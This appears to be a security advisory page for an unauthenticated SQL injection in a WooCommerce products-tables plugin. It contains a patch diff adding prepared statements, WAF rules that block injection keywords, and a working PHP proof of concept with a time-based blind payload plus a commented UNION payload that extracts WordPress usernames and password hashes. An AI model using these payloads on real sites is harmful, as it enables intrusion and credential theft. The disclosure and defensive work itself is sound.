-     * @return void
-     */
-    public function delete($id = 0) {
-        if (!current_user_can('manage_woocommerce')) {
-            die('0');
-        }
-
+			die('0');
+		}
+		if ($prepend) {
+			$pos_num = 0 - $this->get_count($table_id);
+		} else {
+			$pos_num = $this->get_count($table_id) + 1;
+		}
+
+		if (empty($title)) {
+			$title = esc_html__('New Column', 'profit-products-tables-for-woocommerce');
+		}
+
+		if ($table_id > 0) {
+			$this->insert(array(
+				'title' => $title,
+				'table_id' => $table_id,
+				'pos_num' => $pos_num,
+				'field_key' => $field_key,
+				'is_active' => intval(boolval($field_key)),
+				'created' => current_time('U', get_option('timezone_string'))
+			));
+		}
+	}
+
+	/**
+	 * Create new column by ajax
+	 *
+	 * @since 1.0.0
+	 *
+	 * @return void
+	 */
+	public function create_column() {
+		$this->create(intval($_REQUEST['post_id']), boolval($_REQUEST['prepend']));
+		die(json_encode($this->get_table_columns_data(intval($_REQUEST['post_id']), false)));
+	}
+
+	/**
+	 * Update column by ajax
+	 *
+	 * @since 1.0.0
+	 *
+	 * @return void
+	 */
+	public function refresh() {
+		die(json_encode($this->get_table_columns_data(intval($_REQUEST['post_id']), false)));
+	}
+
+	/**
+	 * Data insert
+	 *
+	 * @since 1.0.0
+	 *
+	 * @return void
+	 */
+	public function insert($args) {
+		$this->db->insert($this->db_table, $args);
+	}
+
+	/**
+	 * Delete column by ajax
+	 *
+	 * @since 1.0.0
+	 * @param int $id
+	 * @return void
+	 */
+	public function delete($id = 0) {
+		if (!current_user_can('manage_woocommerce')) {
+			die('0');
+		}
+
 		if (!isset($_REQUEST['settings_nonce']) || !wp_verify_nonce($_REQUEST['settings_nonce'], 'woot_settings_nonce')) {
-            die('0');
-        }
-        if (!$id) {
-            $id = intval($_REQUEST['id']);
-        } else {
-            $id = intval($id);
-        }
-
-        if ($id > 0) {
-            $this->db->delete($this->db_table, array('id' => $id));
-        }
-    }
-
-    /**
-     * Get a column data by its ID
-     *
-     * @since 1.0.0
-     * @param int $id column ID
-     * @return void
-     */
-    public function get($id) {
-        static $columns = [];
-
-        if (!isset($columns[$id])) {
-            $sql = "SELECT * FROM {$this->db_table} WHERE id={$id}";
-            $columns[$id] = $this->db->get_row($sql, ARRAY_A);
-        }
-
-        return $columns[$id];
-    }
-
-    /**
-     * Get column data by field AND value
-     *
-     * @since 1.0.0
-     * @param string $field
-     * @param string $value
-     * @param array $fields select fields
-     * @return array
-     */
-    public function get_by($field, $value, $fields = []) {
-        if (empty($fields)) {
-            $fields = '*';
-        } else {
-            $fields = implode(',', $fields);
-        }
-
-
-        $sql = "SELECT {$fields} FROM {$this->db_table} WHERE {$field}=`{$value}`";
-        return $this->db->get_row($sql, ARRAY_A);
-    }
-
-    /**
-     * Get column field data by field key
-     *
-     * @since 1.0.0
-     * @param id $table_id table ID
-     * @param string $field_key
-     * @return mixed
-     */
-    public function get_by_field_key($table_id, $field_key) {
-        static $res = []; //cache
-
-        if (!isset($res[$table_id])) {
-            $res[$table_id] = [];
-        }
-
-        if (!isset($res[$table_id][$field_key])) {
-            $sql = "SELECT * FROM {$this->db_table} WHERE table_id={$table_id} AND field_key='{$field_key}'";
-            $res[$table_id][$field_key] = $this->db->get_row($sql, ARRAY_A);
-        }
-
-        return $res[$table_id][$field_key];
-    }
-
-    /**
-     * Assemble a column CSS options data
-     *
-     * @since 1.0.0
-     * @param id $table_id table ID
-     * @param string $table_html_id table HTML id
-     * @return string
-     */
-    public function get_colums_css($table_id, $table_html_id) {
-        $col_styles = '';
-
-        if ($table_id > 0 AND!empty($table_html_id)) {
-            $table_columns = $this->get_table_columns(intval($table_id), ['fields' => 'id'], ['is_active' => 1]);
-            //this css options has more prioritet than table themes styles
-            if (!empty($table_columns)) {
-                foreach ($table_columns as $c) {
-                    $css = $this->get($c['id'], ['field_key', 'options']);
-
-                    if (!empty($css['options'])) {
-                        $options = json_decode($css['options'], true);
-
-                        foreach ($options as $key => $value) {
-                            if (!empty($value)) {
-                                $css_key = '';
-                                if (substr($key, 0, 4) === 'css-') {
-                                    $css_key = str_replace('css-', '', $key);
-
-                                    if ($css_key === 'media-hide') {
-                                        if (intval($value) > 0) {
-                                            $col_styles .= "@media screen and (max-width: {$value}px) {
+			die('0');
+		}
+		if (!$id) {
+			$id = intval($_REQUEST['id']);
+		} else {
+			$id = intval($id);
+		}
+
+		if ($id > 0) {
+			$this->db->delete($this->db_table, array('id' => $id));
+		}
+	}
+
+	/**
+	 * Get a column data by its ID
+	 *
+	 * @since 1.0.0
+	 * @param int $id column ID
+	 * @return void
+	 */
+	public function get($id) {
+		static $columns = [];
+
+		if (!isset($columns[$id])) {
+			$id = absint($id);
+			$sql = $this->db->prepare("SELECT * FROM {$this->db_table} WHERE id=%d", $id);
+			$columns[$id] = $this->db->get_row($sql, ARRAY_A);
+		}
+
+		return $columns[$id];
+	}
+
+	/**
+	 * Get column data by field AND value
+	 *
+	 * @since 1.0.0
+	 * @param string $field
+	 * @param string $value
+	 * @param array $fields select fields
+	 * @return array
+	 */
+	public function get_by($field, $value, $fields = []) {
+		if (empty($fields)) {
+			$fields = '*';
+		} else {
+			$fields = implode(',', $fields);
+		}
+
+
+		$field = preg_replace('/[^a-zA-Z0-9_]/', '', (string) $field);
+		$fields = ($fields === '*') ? '*' : preg_replace('/[^a-zA-Z0-9_,*]/', '', (string) $fields);
+		$sql = $this->db->prepare("SELECT {$fields} FROM {$this->db_table} WHERE {$field}=%s", $value);
+		return $this->db->get_row($sql, ARRAY_A);
+	}
+
+	/**
+	 * Get column field data by field key
+	 *
+	 * @since 1.0.0
+	 * @param id $table_id table ID
+	 * @param string $field_key
+	 * @return mixed
+	 */
+	public function get_by_field_key($table_id, $field_key) {
+		static $res = []; //cache
+
+		if (!isset($res[$table_id])) {
+			$res[$table_id] = [];
+		}
+
+		if (!isset($res[$table_id][$field_key])) {
+			$sql = $this->db->prepare("SELECT * FROM {$this->db_table} WHERE table_id=%d AND field_key=%s", absint($table_id), $field_key);
+			$res[$table_id][$field_key] = $this->db->get_row($sql, ARRAY_A);
+		}
+
+		return $res[$table_id][$field_key];
+	}
+
+	/**
+	 * Assemble a column CSS options data
+	 *
+	 * @since 1.0.0
+	 * @param id $table_id table ID
+	 * @param string $table_html_id table HTML id
+	 * @return string
+	 */
+	public function get_colums_css($table_id, $table_html_id) {
+		$col_styles = '';
+
+		if ($table_id > 0 AND !empty($table_html_id)) {
+			$table_columns = $this->get_table_columns(intval($table_id), ['fields' => 'id'], ['is_active' => 1]);
+			//this css options has more prioritet than table themes styles
+			if (!empty($table_columns)) {
+				foreach ($table_columns as $c) {
+					$css = $this->get($c['id'], ['field_key', 'options']);
+
+					if (!empty($css['options'])) {
+						$options = json_decode($css['options'], true);
+
+						foreach ($options as $key => $value) {
+							if (!empty($value)) {
+								$css_key = '';
+								if (substr($key, 0, 4) === 'css-') {
+									$css_key = str_replace('css-', '', $key);
+
+									if ($css_key === 'media-hide') {
+										if (intval($value) > 0) {
+											$col_styles .= "@media screen and (max-width: {$value}px) {
                                             #{$table_html_id} table .table23_td_{$css['field_key']},
                                             #{$table_html_id} table th[data-key='{$css['field_key']}']  {
                                               display: none !important;
                                             }
                                           } ";
-                                        }
-                                    } else {
-                                        $important = '!important';
-                                        if ($css_key === 'background') {
-                                            $important = ''; //for column selecting by color on ordering
-                                            if (substr(trim($value), 0, 4) === 'http') {
-                                                $value = "url({$value})";
-                                            }
-                                        }
-
-                                        $col_styles .= "#{$table_html_id} table .table23_td_{$css['field_key']}{{$css_key}:{$value} {$important};} ";
-                                        if ($css_key === 'color') {
-                                            $col_styles .= "#{$table_html_id} table .table23_td_{$css['field_key']} a{{$css_key}:{$value} {$important};} ";
-                                            $col_styles .= "#{$table_html_id} table .table23_td_{$css['field_key']} .woot-num-cell{{$css_key}:{$value} {$important};} ";
-                                        }
-                                    }
-                                }
-                            }
-                        }
-                    }
-                }
-            }
-        }
-
-        return $col_styles;
-    }
-
-    /**
-     * Get all columns
-     *
-     * @since 1.0.0
-     *
-     * @return array
-     */
-    public function gets() {
-        return $this->db->get_results("SELECT * FROM {$this->db_table} ORDER BY id DESC", ARRAY_A);
-    }
-
-    /**
-     * Import columns data
-     *
-     * @since 1.0.0
-     *
-     * @return void
-     */
-    public function import($data) {
-        WOOT_HELPER::import_mysql_table($this->db_table, $data);
-    }
-
+										}
+									} else {
+										$important = '!important';
+										if ($css_key === 'background') {
+											$important = ''; //for column selecting by color on ordering
+											if (substr(trim($value), 0, 4) === 'http') {
+												$value = "url({$value})";
+											}
+										}
+
+										$col_styles .= "#{$table_html_id} table .table23_td_{$css['field_key']}{{$css_key}:{$value} {$important};} ";
+										if ($css_key === 'color') {
+											$col_styles .= "#{$table_html_id} table .table23_td_{$css['field_key']} a{{$css_key}:{$value} {$important};} ";
+											$col_styles .= "#{$table_html_id} table .table23_td_{$css['field_key']} .woot-num-cell{{$css_key}:{$value} {$important};} ";
+										}
+									}
+								}
+							}
+						}
+					}
+				}
+			}
+		}
+
+		return $col_styles;
+	}
+
+	/**
+	 * Get all columns
+	 *
+	 * @since 1.0.0
+	 *
+	 * @return array
+	 */
+	public function gets() {
+		return $this->db->get_results("SELECT * FROM {$this->db_table} ORDER BY id DESC", ARRAY_A);
+	}
+
+	/**
+	 * Import columns data
+	 *
+	 * @since 1.0.0
+	 *
+	 * @return void
+	 */
+	public function import($data) {
+		WOOT_HELPER::import_mysql_table($this->db_table, $data);
+	}
 }
--- a/profit-products-tables-for-woocommerce/classes/filter.php
+++ b/profit-products-tables-for-woocommerce/classes/filter.php
@@ -236,10 +236,6 @@

             //***

-            if (woot()->show_notes) {
-                $filter_data = array_slice($filter_data, 0, 2);
-            }
-
             return json_encode($filter_data);
         }

--- a/profit-products-tables-for-woocommerce/classes/tables-meta.php
+++ b/profit-products-tables-for-woocommerce/classes/tables-meta.php
@@ -8,537 +8,549 @@
  * @since   1.0.0
  */
 if (!defined('ABSPATH')) {
-    exit; // Exit if accessed directly
+	exit; // Exit if accessed directly
 }

 class WOOT_TablesMeta {

-    private $db_table = 'woot_tables_meta';
-    private $db = null;
+	private $db_table = 'woot_tables_meta';
+	private $db = null;

-    public function __construct() {
-        global $wpdb;
-        $this->db = &$wpdb; //pointer
-        $this->db_table = $this->db->prefix . $this->db_table;
-        add_action('admin_enqueue_scripts', array($this, 'admin_enqueue_scripts'));
-        add_action('admin_init', array($this, 'admin_init'), 9999);
-
-        //***
-
-        add_filter('woot_table_orderby_select_args', function($args, $table_id = 0) {
-
-            if ($table_id > 0) {
-                $found_rows = $this->get_rows($table_id);
-
-                if (!empty($found_rows)) {
-                    $table_columns = woot()->columns->get_table_columns(intval($table_id), ['fields' => 'title,field_key']);
-                    foreach ($found_rows as $r) {
-                        $title = '';
-                        $meta_key = $r['meta_key'];
-
-                        array_map(function($item)use($meta_key, &$title) {
-                            if ($item['field_key'] === $meta_key) {
-                                $title = $item['title'];
-                            }
-                        }, $table_columns);
-
-                        if (empty($title)) {
-                            $title = $r['title'];
-                        }
-
-                        $args[$r['meta_key']] = $title . ': ' . esc_html__('Ascending', 'profit-products-tables-for-woocommerce');
-                        $args[$r['meta_key'] . '-desc'] = $title . ': ' . esc_html__('Descending', 'profit-products-tables-for-woocommerce');
-                    }
-                }
-            }
-
-            return $args;
-        }, 10, 2);
-    }
-
-    /**
-     * Hook admin_enqueue_scripts
-     *
-     * @since 1.0.0
-     *
-     * @return void
-     */
-    public function admin_enqueue_scripts() {
-        if (isset($_GET['page']) AND $_GET['page'] == 'woot') {
-            wp_enqueue_script('woot-tables-meta', WOOT_ASSETS_LINK . 'js/admin/tables-meta.js', ['data-table-23'], WOOT_VERSION, true);
-        }
-    }
-
-    /**
-     * Hook admin_init
-     *
-     * @since 1.0.0
-     *
-     * @return void
-     */
-    public function admin_init() {
-        if (WOOT_HELPER::can_manage_data()) {
-            $this->add_table_action();
-            add_action('wp_ajax_woot_get_tables_meta', array($this, 'draw_table'));
-            add_action('wp_ajax_woot_save_table_meta_field', array($this, 'save'));
-            add_action('wp_ajax_woot_create_meta', array($this, 'create'));
-            add_action('wp_ajax_woot_delete_table_meta', array($this, 'delete'));
-        }
-    }
-
-    /**
-     * Extend woocommerce profile by added meta fields
-     *
-     * @since 1.0.0
-     * @param string $table_action
-     * @param int $table_id table ID
-     * @return void
-     */
-    public function extend_profile_fields($table_action, $table_id) {
-        $meta = $this->get_rows($table_id);
-
-        if (!empty($meta)) {
-            $add_profile = [];
-            foreach ($meta as $m) {
-                $add_profile[$m['meta_key']] = $this->assemble_meta_for_system($m, $table_id);
-            }
-
-            //***
-
-            add_filter("ext_{$table_action}", function($profile) use($add_profile) {
-                return array_merge($profile, $add_profile);
-            });
-        }
-    }
-
-    /**
-     * Add meta field to system and add actions to it
-     * Useful for such shortcodes as [woot_favourites]
-     *
-     * @since 1.0.2
-     * @param array $m
-     * @param int $table_id table ID
-     * @return array
-     */
-    public function assemble_meta_for_system($m, $table_id = 0) {
-        $tmp = [
-            'title' => $m['title'],
-            'meta_key' => $m['meta_key'],
-            'filter' => true,
-            'action' => function($product_id) use($m, $table_id) {
-                return apply_filters('woot_meta_data_cell', get_post_meta($product_id, $m['meta_key'], true), $m, $product_id, $table_id);
-            }
-        ];
-
-        switch ($m['meta_type']) {
-            case 'text':
-                $tmp['options'] = WOOT_WooCommerce::$fields_options;
-                $tmp['order'] = 'asc';
-                $tmp['orderby'] = 'meta_value';
-                $tmp['get_filter_query_args'] = function($args, $value) use($m) {
-                    $args['meta_query'][] = array(
-                        'key' => $m['meta_key'],
-                        'value' => $value,
-                        'compare' => 'LIKE'
-                    );
-
-                    return $args;
-                };
-
-
-                $tmp['filter_view'] = 'textinput';
-                $tmp['filter_options'] = ['placeholder', 'minlength', 'width'];
-
-                break;
-
-            case 'number':
-                $tmp['options'] = WOOT_WooCommerce::$fields_options;
-                $tmp['order'] = 'desc';
-                $tmp['orderby'] = 'meta_value_num';
-                $tmp['get_filter_query_args'] = function($args, $value) use($m) {
-
-                    $value = explode(':', $value);
-                    $args['meta_query'][] = array(
-                        'key' => $m['meta_key'],
-                        'value' => array(intval($value[0]), intval($value[1])),
-                        'type' => 'numeric',
-                        'compare' => 'BETWEEN'
-                    );
-
-                    return $args;
-                };
-
-                $tmp['filter_view'] = 'range_slider';
-                $tmp['filter_options'] = ['title', 'min', 'max', 'width'];
-                break;
-
-            case 'calendar':
-                $tmp['options'] = ['css-background', 'css-media-hide'];
-                $tmp['order'] = 'desc';
-                $tmp['orderby'] = 'meta_value_num';
-
-                $tmp['action'] = function($product_id) use($m, $table_id) {
-                    $val = apply_filters('woot_meta_data_cell', get_post_meta($product_id, $m['meta_key'], true), $m, $product_id, $table_id);
-
-                    if (is_string($val)) {
-                        $val = strtotime($val);
-                    }
-
-                    return date(apply_filters('woot_date_format', get_option('date_format')), $val);
-                };
-
-                $tmp['get_filter_query_args'] = function($args, $value, $is_calendar_dir_to = false) use($m, $table_id) {
-
-                    $fkey = $m['meta_key'];
-
-                    $calendar_type = woot()->filter->fields_options->get($table_id, $fkey . '-data-type');
-
-                    if (!$calendar_type) {
-                        $calendar_type = 'datetime';
-                    }
-
-                    switch ($calendar_type) {
-                        case 'unixtimestamp':
-
-                            $args['meta_query'][] = array(
-                                'key' => $fkey,
-                                'value' => intval($value),
-                                'type' => 'numeric',
-                                'compare' => $is_calendar_dir_to ? '<=' : '>='
-                            );
-
-                            break;
-
-                        //for ACF calendars https://support.advancedcustomfields.com/forums/topic/filtering-by-date/
-                        case 'datetime':
-                            $args['meta_query'][] = array(
-                                'key' => $fkey,
-                                'value' => date('Y-m-d H:i:s', $value),
-                                'type' => 'DATETIME',
-                                'compare' => $is_calendar_dir_to ? '<=' : '>='
-                            );
-                            break;
-                    }
-
-                    return $args;
-                };
-
-
-                $tmp['filter_view'] = 'calendar';
-                $tmp['filter_options'] = ['placeholder', 'data-type'];
-                break;
-        }
-
-
-        $tmp['get_filter_draw_data'] = function($table_id) use($m) {
-            return woot()->filter->get_field_drawing_data($table_id, $m['meta_key']);
-        };
-
-        return $tmp;
-    }
-
-    /**
-     * Draw table with meta fields on admin panel side
-     *
-     * @since 1.0.0
-     *
-     * @return output string
-     */
-    public function draw_table() {
-        $table_html_id = 'woot_meta_table';
-        echo woot()->draw_table_data([
-            'mode' => 'json',
-            'action' => 'woot_meta_table',
-            'orderby' => 'meta_key',
-            'order' => 'asc',
-            'per_page_position' => 'none',
-            'per_page_sel_position' => 'none',
-            'per_page' => -1,
-            'table_data' => $this->get_prepared_data(intval($_REQUEST['post_id']))
-                ], $table_html_id, FALSE);
-
-        exit;
-    }
-
-    /**
-     * Table action
-     *
-     * @since 1.0.0
-     *
-     * @return void
-     */
-    public function add_table_action() {
-        add_action('woot_meta_table', function () {
-            return [
-                0 => [
-                //'ajax_action' => ''
-                ],
-                'title' => [
-                    'title' => esc_html__('Title', 'profit-products-tables-for-woocommerce'),
-                    'editable' => 'textinput',
-                    'order' => 'asc'
-                ],
-                'meta_key' => [
-                    'title' => esc_html__('Meta key', 'profit-products-tables-for-woocommerce'),
-                    'editable' => 'textinput',
-                    'order' => 'asc'
-                ],
-                'meta_type' => [
-                    'title' => esc_html__('Type', 'profit-products-tables-for-woocommerce'),
-                    'editable' => 'select',
-                    'order' => 'asc'
-                ],
-                'notes' => [
-                    'title' => esc_html__('Notes', 'profit-products-tables-for-woocommerce'),
-                    'editable' => 'textinput'
-                ],
-                'actions' => [
-                    'title' => esc_html__('Actions', 'profit-products-tables-for-woocommerce')
-                ]
-            ];
-        });
-    }
-
-    /**
-     * Get meta of $table_id
-     *
-     * @since 1.0.0
-     * @param int $table_id table ID
-     * @param array $args
-     * @param array $where
-     * @param string $where_logic AND OR
-     * @return array
-     */
-    public function get_rows($table_id, $args = [], $where = [], $where_logic = 'AND') {
-        static $cache = [];
-
-
-        $fields = '*';
-        if (isset($args['fields'])) {
-            $fields = $args['fields']; //string
-        }
-
-        $orderby = 'meta_key';
-        if (isset($args['orderby'])) {
-            $orderby = $args['orderby'];
-        }
-
-        $order = 'ASC';
-        if (isset($args['order'])) {
-            $order = $args['order'];
-        }
-
-        $and_where = '';
-        if (!empty($where)) {
-            foreach ($where as $key => $value) {
-                $and_where .= " {$where_logic} {$key}='{$value}'";
-            }
-        }
-
-        //***
-
-        $sql = "SELECT {$fields} FROM {$this->db_table} WHERE table_id={$table_id} {$and_where} ORDER BY {$orderby} {$order}";
-
-        if (!isset($cache[md5($sql)])) {
-            $cache[md5($sql)] = $this->db->get_results($sql, ARRAY_A);
-        }
-
-        return $cache[md5($sql)];
-    }
-
-    /**
-     * Get prepared meta data
-     *
-     * @since 1.0.0
-     * @param int $table_id table ID
-     * @return array
-     */
-    private function get_prepared_data($table_id) {
-        $columns = [];
-        $fields = array_keys(apply_filters('woot_meta_table', NULL));
-
-        $found_rows = $this->get_rows($table_id);
-        $found_rows_count = count($found_rows); //no pagination here
-        //***
-
-        if (!empty($fields) AND!empty($found_rows)) {
-            foreach ($found_rows as $r) {
-                $tmp = [];
-                $tmp['pid'] = $r['id']; //VERY IMPORTANT AS IT POST ID IN THE TABLES CELLS ACTIONS
-
-                foreach ($fields as $field) {
-                    switch ($field) {
-
-                        case 'meta_key':
-                            $tmp[$field] = $r['meta_key'];
-                            break;
-
-                        case 'meta_type':
-
-                            $tmp[$field] = WOOT_HELPER::draw_select([
-                                        'style' => 'width: 100%;'
-                                            ], [
-                                        'not_defined' => esc_html__('not defined', 'profit-products-tables-for-woocommerce'),
-                                        'text' => esc_html__('text', 'profit-products-tables-for-woocommerce'),
-                                        'number' => esc_html__('number', 'profit-products-tables-for-woocommerce'),
-                                        'calendar' => esc_html__('calendar', 'profit-products-tables-for-woocommerce')
-                                            ], $r['meta_type']);
-
-                            break;
-
-                        case 'title':
-                        case 'notes':
-                            $tmp[$field] = $r[$field];
-                            break;
-
-                        case 'actions':
-
-                            $tmp[$field] = WOOT_HELPER::draw_html_item('a', [
-                                        'href' => "javascript: woot_meta_table.delete({$r['id']});void(0);",
-                                        'title' => esc_html__('delete', 'profit-products-tables-for-woocommerce'),
-                                        'class' => 'button woot-dash-btn-single'
-                                            ], '<span class="dashicons-before dashicons-no"></span>');
-
-                            break;
-
-                        default:
-
-                            $tmp[$field] = esc_html__('Wrong type', 'profit-products-tables-for-woocommerce');
-
-                            break;
-                    }
-                }
-
-                $columns[] = $tmp;
-            }
-        }
-
-
-        return ['rows' => $columns, 'count' => $found_rows_count];
-    }
-
-    //*******************************************************************************
-
-    /**
-     * Save meta field optionby ajax
-     *
-     * @since 1.0.0
-     *
-     * @return void
-     */
-    public function save() {
+	public function __construct() {
+		global $wpdb;
+		$this->db = &$wpdb; //pointer
+		$this->db_table = $this->db->prefix . $this->db_table;
+		add_action('admin_enqueue_scripts', array($this, 'admin_enqueue_scripts'));
+		add_action('admin_init', array($this, 'admin_init'), 9999);
+
+		//***
+
+		add_filter('woot_table_orderby_select_args', function ($args, $table_id = 0) {
+
+			// Loose ">" comparison is unsafe on PHP 8 (int vs non-numeric string compares as string)
+			$table_id = absint($table_id);
+
+			if ($table_id > 0) {
+				$found_rows = $this->get_rows($table_id);
+
+				if (!empty($found_rows)) {
+					$table_columns = woot()->columns->get_table_columns(intval($table_id), ['fields' => 'title,field_key']);
+					foreach ($found_rows as $r) {
+						$title = '';
+						$meta_key = $r['meta_key'];
+
+						array_map(function ($item)use ($meta_key, &$title) {
+							if ($item['field_key'] === $meta_key) {
+								$title = $item['title'];
+							}
+						}, $table_columns);
+
+						if (empty($title)) {
+							$title = $r['title'];
+						}
+
+						$args[$r['meta_key']] = $title . ': ' . esc_html__('Ascending', 'profit-products-tables-for-woocommerce');
+						$args[$r['meta_key'] . '-desc'] = $title . ': ' . esc_html__('Descending', 'profit-products-tables-for-woocommerce');
+					}
+				}
+			}
+
+			return $args;
+		}, 10, 2);
+	}
+
+	/**
+	 * Hook admin_enqueue_scripts
+	 *
+	 * @since 1.0.0
+	 *
+	 * @return void
+	 */
+	public function admin_enqueue_scripts() {
+		if (isset($_GET['page']) AND $_GET['page'] == 'woot') {
+			wp_enqueue_script('woot-tables-meta', WOOT_ASSETS_LINK . 'js/admin/tables-meta.js', ['data-table-23'], WOOT_VERSION, true);
+		}
+	}
+
+	/**
+	 * Hook admin_init
+	 *
+	 * @since 1.0.0
+	 *
+	 * @return void
+	 */
+	public function admin_init() {
+		if (WOOT_HELPER::can_manage_data()) {
+			$this->add_table_action();
+			add_action('wp_ajax_woot_get_tables_meta', array($this, 'draw_table'));
+			add_action('wp_ajax_woot_save_table_meta_field', array($this, 'save'));
+			add_action('wp_ajax_woot_create_meta', array($this, 'create'));
+			add_action('wp_ajax_woot_delete_table_meta', array($this, 'delete'));
+		}
+	}
+
+	/**
+	 * Extend woocommerce profile by added meta fields
+	 *
+	 * @since 1.0.0
+	 * @param string $table_action
+	 * @param int $table_id table ID
+	 * @return void
+	 */
+	public function extend_profile_fields($table_action, $table_id) {
+		$meta = $this->get_rows($table_id);
+
+		if (!empty($meta)) {
+			$add_profile = [];
+			foreach ($meta as $m) {
+				$add_profile[$m['meta_key']] = $this->assemble_meta_for_system($m, $table_id);
+			}
+
+			//***
+
+			add_filter("ext_{$table_action}", function ($profile) use ($add_profile) {
+				return array_merge($profile, $add_profile);
+			});
+		}
+	}
+
+	/**
+	 * Add meta field to system and add actions to it
+	 * Useful for such shortcodes as [woot_favourites]
+	 *
+	 * @since 1.0.2
+	 * @param array $m
+	 * @param int $table_id table ID
+	 * @return array
+	 */
+	public function assemble_meta_for_system($m, $table_id = 0) {
+		$tmp = [
+			'title' => $m['title'],
+			'meta_key' => $m['meta_key'],
+			'filter' => true,
+			'action' => function ($product_id) use ($m, $table_id) {
+				return apply_filters('woot_meta_data_cell', get_post_meta($product_id, $m['meta_key'], true), $m, $product_id, $table_id);
+			}
+		];
+
+		switch ($m['meta_type']) {
+			case 'text':
+				$tmp['options'] = WOOT_WooCommerce::$fields_options;
+				$tmp['order'] = 'asc';
+				$tmp['orderby'] = 'meta_value';
+				$tmp['get_filter_query_args'] = function ($args, $value) use ($m) {
+					$args['meta_query'][] = array(
+						'key' => $m['meta_key'],
+						'value' => $value,
+						'compare' => 'LIKE'
+					);
+
+					return $args;
+				};
+
+				$tmp['filter_view'] = 'textinput';
+				$tmp['filter_options'] = ['placeholder', 'minlength', 'width'];
+
+				break;
+
+			case 'number':
+				$tmp['options'] = WOOT_WooCommerce::$fields_options;
+				$tmp['order'] = 'desc';
+				$tmp['orderby'] = 'meta_value_num';
+				$tmp['get_filter_query_args'] = function ($args, $value) use ($m) {
+
+					$value = explode(':', $value);
+					$args['meta_query'][] = array(
+						'key' => $m['meta_key'],
+						'value' => array(intval($value[0]), intval($value[1])),
+						'type' => 'numeric',
+						'compare' => 'BETWEEN'
+					);
+
+					return $args;
+				};
+
+				$tmp['filter_view'] = 'range_slider';
+				$tmp['filter_op

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-66436
# Blocks unauthenticated SQL injection via the woot_refresh_columns_table AJAX action
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20266643,phase:2,deny,status:403,chain,msg:'CVE-2026-66436 SQL injection via woot_refresh_columns_table',severity:'CRITICAL',tag:'CVE-2026-66436'"
  SecRule ARGS_POST:action "@streq woot_refresh_columns_table" "chain"
    SecRule ARGS_POST:post_id "@rx (?:unions+select|ands*(|ors*(|sleeps*(|benchmarks*(|extractvalues*(|updatexmls*()" "t:urlDecodeUni,t:lowercase"

# Blocks unauthenticated SQL injection via the woot_get_columns_data AJAX action
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20266644,phase:2,deny,status:403,chain,msg:'CVE-2026-66436 SQL injection via woot_get_columns_data',severity:'CRITICAL',tag:'CVE-2026-66436'"
  SecRule ARGS_POST:action "@streq woot_get_columns_data" "chain"
    SecRule ARGS_POST:post_id "@rx (?:unions+select|ands*(|ors*(|sleeps*(|benchmarks*(|extractvalues*(|updatexmls*()" "t:urlDecodeUni,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-66436 - Active Woot Products Tables for WooCommerce <= 1.1.1 - Unauthenticated SQL Injection

$target_url = 'http://example.com'; // Change to target WordPress site

// The vulnerable AJAX action that lacks proper authentication checks
$ajax_action = 'woot_refresh_columns_table';

// SQL injection payload in the post_id parameter
// This payload uses a time-based blind injection to demonstrate exploitability
$payload = "1 AND (SELECT 1 FROM (SELECT SLEEP(5))x)";

$post_data = [
    'action' => $ajax_action,
    'post_id' => $payload
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);

$start_time = microtime(true);
$response = curl_exec($ch);
$end_time = microtime(true);

$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

$elapsed = $end_time - $start_time;

echo "[+] Sent SQL injection payload to {$target_url}/wp-admin/admin-ajax.phpn";
if ($elapsed >= 5) {
    echo "[+] Time-based injection confirmed! Response delayed by " . round($elapsed, 2) . " seconds.n";
} else {
    echo "[-] No delay detected. The target may be patched or the vulnerable action is not accessible.n";
}

echo "[+] HTTP response code: {$http_code}n";
echo "[+] Response body: " . substr($response, 0, 500) . "n";

// Alternative: Union-based injection to extract data
// Example: post_id = "1 UNION SELECT 1,user_login,user_pass,4,5,6,7,8,9,10 FROM wp_users-- -"
// Note: column count must match the number of columns in the woot_tables_columns table

?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.